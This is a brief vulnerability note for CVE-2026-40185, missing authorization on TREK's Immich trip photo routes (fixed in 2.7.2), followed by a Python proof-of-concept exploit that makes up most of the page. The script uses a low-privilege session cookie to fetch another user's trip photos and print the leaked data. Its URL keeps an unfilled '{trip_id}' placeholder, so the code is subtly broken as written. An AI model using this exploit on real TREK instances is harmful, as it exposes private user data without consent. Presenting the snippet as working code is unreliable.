TREK is a collaborative travel planner. Prior to 2.7.2, TREK was missing authorization checks on the Immich trip photo management routes. This vulnerability is fixed in 2.7.2.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-40185: TREK Immich Photo Management Authorization Bypass
Description: Exploits missing authorization checks to access/manipulate trip photos.
"""
import requests
target_url = "http://localhost:3000/api/trips/{trip_id}/photos"
attacker_cookie = "session=low_priv_user_session_token"
# Attacker tries to access photos of a trip they do not own
headers = {
"Cookie": attacker_cookie,
"User-Agent": "CVE-2026-40185-Scanner"
}
try:
response = requests.get(target_url, headers=headers)
if response.status_code == 200:
print("[+] Vulnerability Confirmed: Unauthorized access to photo data successful!")
print(f"[+] Data leaked: {response.text[:200]}...")
else:
print("[-] Target may not be vulnerable or patched.")
except Exception as e:
print(f"Error: {e}")